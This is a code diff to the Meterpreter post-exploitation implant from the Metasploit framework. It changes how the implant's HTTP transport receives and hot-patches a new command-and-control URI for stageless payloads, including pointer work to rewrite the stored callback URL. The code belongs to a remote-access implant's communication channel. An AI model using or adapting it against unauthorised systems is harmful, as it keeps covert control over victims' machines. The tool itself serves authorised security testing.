diff --git a/c/meterpreter/source/common/remote.h b/c/meterpreter/source/common/remote.h index 68990740..7c957e4a 100644 --- a/c/meterpreter/source/common/remote.h +++ b/c/meterpreter/source/common/remote.h @@ -68,6 +68,7 @@ typedef struct _HttpTransportContext CSTRTYPE url; ///! Pointer to the URL stored with the transport. STRTYPE ua; ///! User agent string. STRTYPE uri; ///! UUID encoded as a URI. + STRTYPE new_uri; ///! New URI for stageless URI switches STRTYPE proxy; ///! Proxy details. STRTYPE proxy_user; ///! Proxy username. STRTYPE proxy_pass; ///! Proxy password. diff --git a/c/meterpreter/source/server/remote_dispatch_common.c b/c/meterpreter/source/server/remote_dispatch_common.c index 3958ad39..813c5006 100644 --- a/c/meterpreter/source/server/remote_dispatch_common.c +++ b/c/meterpreter/source/server/remote_dispatch_common.c @@ -67,18 +67,13 @@ BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result) { // This shouldn't happen. *result = ERROR_INVALID_STATE; - return TRUE; } - - HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - SAFE_FREE(ctx->uri); - - // yes, we are reusing the URL in this case - ctx->uri = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); - - dprintf("[DISPATCH] Recieved hot-patcheched URL for stageless: %S", ctx->uri); - - *result = ERROR_SUCCESS; + else + { + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + ctx->new_uri = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); + *result = ERROR_SUCCESS; + } return TRUE; } #endif diff --git a/c/meterpreter/source/server/win/server_transport_winhttp.c b/c/meterpreter/source/server/win/server_transport_winhttp.c index 71a1b710..014c0f19 100644 --- a/c/meterpreter/source/server/win/server_transport_winhttp.c +++ b/c/meterpreter/source/server/win/server_transport_winhttp.c @@ -644,6 +644,7 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) DWORD ecount = 0; DWORD delay = 0; Transport* transport = remote->transport; + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; while (running) { @@ -697,18 +698,53 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay)); Sleep(min(10000, delay)); - continue; } + else + { + transport->comms_last_packet = current_unix_timestamp(); - transport->comms_last_packet = current_unix_timestamp(); + // Reset the empty count when we receive a packet + ecount = 0; - // Reset the empty count when we receive a packet - ecount = 0; + dprintf("[DISPATCH] Returned result: %d", result); - dprintf("[DISPATCH] Returned result: %d", result); + running = command_handle(remote, packet); + dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); - running = command_handle(remote, packet); - dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); + if (ctx->new_uri != NULL) + { + dprintf("[DISPATCH] Recieved hot-patched URL for stageless: %S", ctx->new_uri); + dprintf("[DISPATCH] Old URI is: %S", ctx->uri); + dprintf("[DISPATCH] Old URL is: %S", transport->url); + + // if the new URI needs more space, let's realloc space for the new URL now + int diff = wcslen(ctx->new_uri) - wcslen(ctx->uri); + if (diff > 0) + { + dprintf("[DISPATCH] New URI is bigger by %d", diff); + transport->url = (wchar_t*)realloc(transport->url, (wcslen(transport->url) + diff + 1) * sizeof(wchar_t)); + } + + // we also need to patch the new URI into the original transport URL, not just the currently + // active URI for comms. If we don't, then migration behaves badly. + // Start by locating the start of the URI in the current URL, by finding the third slash + wchar_t* csr = transport->url + wcslen(transport->url) - 2; + while (*csr != L'/') + { + --csr; + } + dprintf("[DISPATCH] Pointer is at: %p -> %S", csr, csr); + + // patch in the new URI + wcscpy_s(csr, wcslen(diff > 0 ? ctx->new_uri : ctx->uri) + 1, ctx->new_uri); + dprintf("[DISPATCH] New URL is: %S", transport->url); + + // clean up + SAFE_FREE(ctx->uri); + ctx->uri = ctx->new_uri; + ctx->new_uri = NULL; + } + } } return result;